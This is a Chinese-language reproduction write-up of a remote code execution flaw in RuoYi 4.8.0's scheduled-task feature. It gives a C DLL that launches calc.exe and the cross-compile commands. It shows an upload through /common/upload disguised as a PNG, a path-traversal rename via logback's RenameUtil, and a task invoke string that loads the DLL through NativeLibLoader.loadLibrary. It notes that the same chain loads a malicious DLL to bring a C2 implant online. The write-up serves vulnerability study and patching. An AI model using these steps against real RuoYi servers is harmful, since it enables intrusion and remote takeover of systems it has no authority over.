环境搭建

系统:Windows10

Java版本:jdk8

若依版本:4.8.0

若依搭建参考

漏洞复现

1、使用c编译一个dll文件

calc.c代码:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
                     DWORD  ul_reason_for_call,
                     LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            // Windows下打开计算器的命令
            system("calc.exe");
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

注:这里是用c语言编写win用的dll文件,如果是Linux或者MacOs需要对此进行修改。

然后编译calc.c文件生成dll文件,这里我使用的是Linux机进行编译的,需要下载mingw-w64

# Linux下安装mingw-w64
sudo apt-get install mingw-w64
# 使用mingw进行交叉编译
x86_64-w64-mingw32-gcc -shared -o calc.dll calc.c

2、需要将dll文件上传到服务

通过若依的默认上传接口/common/upload 进行上传。

利用该接口上传dll文件的时候可以先把dll文件改成png或者上传白名单内的文件名后缀进行上传。

上传完成之后再使用如下代码添加到定时任务中进行修改上传后的文件后缀。


ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying('..\\..\\..\\..\\..\\ruoyi\\uploadPath\\upload\\2025\\04\\26\\com.ruoyi.quartz.task_20000000163516A006.png','..\\..\\..\\..\\..\\ruoyi\\uploadPath\\upload\\2025\\04\\26\\com.ruoyi.quartz.task_20000000163516A006.dll')

具体修改文件名可参考链接

这里复现我是直接将dll文件直接粘贴到对应的上传目录了。

3、添加定时任务

通过登录后台,添加定时任务

调用目标字符串:

com.sun.glass.utils.NativeLibLoader.loadLibrary("..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\ruoyi\\uploadPath\\upload\\2025\\04\\26\\com.ruoyi.quartz.task_20000000163516A006")

注意:

  • 这里需要使用相对路径,因为在复现的时候使用绝对路径dll调用失败

  • 调用失败可能与jdk版本有关,因为部分jdk没有JavaFx,因为com.sun.glass.utils.NativeLibLoader这个类通常是JavaFX的一部分。

cron表达式自己定义就好了*/1 * * * * ?

添加好定时任务就可以执行任务了。

这个定时任务只有在加载dll的时候才会执行命令,当加载过后再次执行定时任务就不会再执行dll中的命令。

既然可以通过加载dll进行命令执行,那么就可以通过尝试加载dll进行上传C2.

这里还是生成一个恶意的dll文件,这里直接将恶意的dll文件直接复制上传目录中,然后写定时任务进行加载恶意dll。

可以发现,执行定时任务时目标加载恶意dll并成功上线。

参考链接

若依4.8.0版本计划任务RCE研究